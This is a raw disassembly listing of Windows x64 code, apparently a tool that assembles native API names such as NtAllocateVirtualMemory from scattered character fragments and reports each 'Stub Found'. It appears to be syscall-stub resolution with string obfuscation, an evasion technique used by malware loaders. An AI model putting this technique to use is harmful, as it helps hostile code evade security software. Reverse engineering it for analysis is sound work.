lea rdx, [rbp + 0x2e40]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1400dd5b5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1400dd5b7]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x53f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x14000469c
lea rbx, [0x1400dd58b]
jmp 0x1400046a3
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x315f]
mov qword [rbp + 0x52c8], rax
nop
nop
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x1400dd5b9]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x53e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x1400049e1
lea rbx, [0x1400dd58b]
jmp 0x1400049e8
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x342f]
mov qword [rbp + 0x52c0], rax
nop
nop
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x1400dd5bd]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x1400dd5bf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x1400dd5c3]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x1400dd5c5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x1400dd5c7]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x1400dd5c9]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x53e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140004e5a
lea rbx, [0x1400dd58b]
jmp 0x140004e61
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x377f]
mov qword [rbp + 0x52b8], rax
nop
nop
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x1400dd5cb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x1400dd5cd]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x1400dd5cf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x1400dd5ab]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x53d8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140005383
lea rbx, [0x1400dd58b]
jmp 0x14000538a
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x3a0f]
mov qword [rbp + 0x52b0], rax
nop
nop
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x1400dd5b9]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x53d0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x1400057a4
lea rbx, [0x1400dd58b]
jmp 0x1400057ab
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x3b1f]
mov qword [rbp + 0x52a8], rax
nop
nop
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x1400dd5ad]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x53c8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x1400059b5
lea rbx, [0x1400dd58b]
jmp 0x1400059bc
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x3cef]
mov qword [rbp + 0x52a0], rax
nop
nop
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x1400dd5c5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x1400dd5d1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x1400dd5ab]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x1400dd57b]
mov rcx, rax
